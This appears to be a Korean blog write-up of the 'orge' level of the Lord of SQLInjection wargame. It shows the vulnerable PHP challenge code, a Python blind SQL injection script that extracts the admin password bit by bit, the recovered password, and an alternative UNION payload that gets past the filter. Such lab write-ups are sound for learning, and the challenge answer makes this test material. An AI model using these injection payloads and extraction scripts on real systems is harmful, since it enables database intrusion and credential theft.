LOS Lv.7 orge
orge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
query : select id from prob_orge where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
Solution
orc처럼 풀면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}
bit_val=''
pw=''
for i in range(1,9) :
payload={'pw':"' || id='admin' && length(bin(ascii(substr(pw,"+str(i)+",1))))=7 #"}
res=requests.get(url,headers=headers, params=payload, cookies=cookies)
if "Hello admin" in res.text :
bit_len=7
else :
bit_len=6
for j in range(1,bit_len+1) :
payload={'pw':"' || id='admin' && substr(bin(ascii(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0 #"}
res=requests.get(url,headers=headers, params=payload, cookies=cookies)
if "Hello admin" in res.text :
bit_val+='0'
else :
bit_val+='1'
pw+=chr(int(bit_val,2))
bit_val=''
print("pw :",pw) # 7b751aec
다른 풀이 방법도 있음. 나중에 필요함.
사용자 정의 변수를 사용하는 것. 자세한 건 [소소한 일상 및 업무TIP 다루기]
1
2
3
?pw=' || id='admin' %26%26 @a:=pw union select @a limit 1,1 %23
해주면 Hello 7b751aec 라고 뜸.
This post is licensed under CC BY 4.0 by the author.